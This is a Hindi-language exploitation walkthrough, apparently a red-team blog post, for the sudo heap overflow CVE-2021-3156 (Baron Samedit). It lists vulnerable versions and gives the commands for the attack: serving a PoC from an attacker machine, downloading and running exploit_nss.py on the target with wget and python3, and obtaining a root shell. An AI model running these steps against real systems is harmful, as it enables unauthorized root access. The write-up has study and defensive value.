👑 CVE-2021-3156 (Baron Samedit) — sudo में हीप ओवरफ़्लो के माध्यम से प्रिविलेज एस्केलेशन

📅 दिनांक: 2025-06-08
✍️ लेखक: @TopskiyPavelQwertyGang 🧠 सुरक्षा शोधकर्ता | रेड टीम उत्साही

---

🧠 CVE अवलोकन

• CVE-ID: CVE-2021-3156
• प्रकार: हीप-आधारित बफ़र ओवरफ़्लो
• घटक: sudoedit (sudo)
• पहुँच स्तर: स्थानीय
• लक्ष्य: रूट विशेषाधिकार प्राप्त करना

---

🧠 विवरण

sudoedit में हीप-ओवरफ़्लो एक स्थानीय उपयोगकर्ता को पहले से तैयार किए गए पैरामीटर के साथ sudoedit कमांड चलाने पर रूट पहुँच प्राप्त करने की संभावना देता है।

sudo < 1.9.5p2 संस्करणों के लिए शोषण सक्रिय है, जिसमें लोकप्रिय Ubuntu/Debian/CentOS इमेजें शामिल हैं।
ASLR सक्षम होने पर भी यह भेद्यता शोषणीय बनी रहती है।

---

🐾 शोषण की शर्तें

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (भेद्य)
ASLR   : 2 (सक्षम)

---

🧪 वातावरण की तैयारी

1. glibc और sudo के संस्करण जाँचे गए:

ldd --version
sudo --version

2. दूसरी मशीन से PoC स्क्रिप्ट्स को अंतर्निहित HTTP सर्वर के माध्यम से स्थानांतरित किया गया:

python3 -m http.server 80

3. लक्ष्य मशीन पर PoC डाउनलोड और निष्पादित किए जाते हैं:

wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

---

🚀 PoC का सफल शोषण

$ python3 exploit_nss.py
# whoami
root

---

🧾 निष्कर्ष

CVE-2021-3156 का शोषण सक्रिय ASLR के साथ भी संभव बना रहता है, यदि glibc ≥ 2.26 और sudo भेद्य संस्करण का हो।
सबसे स्थिर exploit_nss.py एक्सप्लॉइट साबित हुआ, जो NSS के सही कॉन्फ़िगरेशन पर पहली बार में ही सफल हो जाता है।

🧨 सिस्टम नियंत्रण में है।

---